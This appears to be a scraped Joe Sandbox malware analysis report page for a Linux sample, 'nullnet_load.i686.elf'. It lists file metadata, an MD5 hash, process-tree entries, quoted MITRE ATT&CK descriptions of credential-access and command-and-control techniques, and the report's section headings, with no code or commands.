Arguments:	-
File size:	83696 bytes
MD5 hash:	f0ff93dfdac1e494b6949986ed6c6312

Analysis Process: nullnet_load.i686.elf PID: 5519, Parent PID: 5515

General

Start time (UTC):	14:37:06
Start date (UTC):	03/11/2024
Path:	/tmp/nullnet_load.i686.elf
Arguments:	-
File size:	83696 bytes
MD5 hash:	f0ff93dfdac1e494b6949986ed6c6312

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Linux Analysis Report nullnet_load.i686.elf

Overview

General Information

Detection

Signatures

Classification

General Information

Warnings

Runtime Messages

Process Tree

Malware Threat Intel

Yara Signatures

Initial Sample

Memory Dumps

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Networking

System Summary

Persistence and Installation Behavior

Hooking and other Techniques for Hiding and Protection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Malware Configuration

Behavior Graph

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Domains

URLs

Domains and IPs

Contacted Domains

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

Static ELF Info

ELF header

Sections

Program Segments

Network Behavior

Suricata IDS Alerts

Network Port Distribution

TCP Packets

DNS Queries

DNS Answers

HTTP Packets

System Behavior

Analysis Process: nullnet_load.i686.elf PID: 5513, Parent PID: 5434

General

Chronological Activities

Analysis Process: nullnet_load.i686.elf PID: 5514, Parent PID: 5513

General

Chronological Activities

Analysis Process: nullnet_load.i686.elf PID: 5515, Parent PID: 5513

General

Chronological Activities

Analysis Process: nullnet_load.i686.elf PID: 5516, Parent PID: 5515

General

Chronological Activities

Analysis Process: nullnet_load.i686.elf PID: 5517, Parent PID: 5515

General

Chronological Activities

Analysis Process: nullnet_load.i686.elf PID: 5518, Parent PID: 5515

Linux Analysis Report
nullnet_load.i686.elf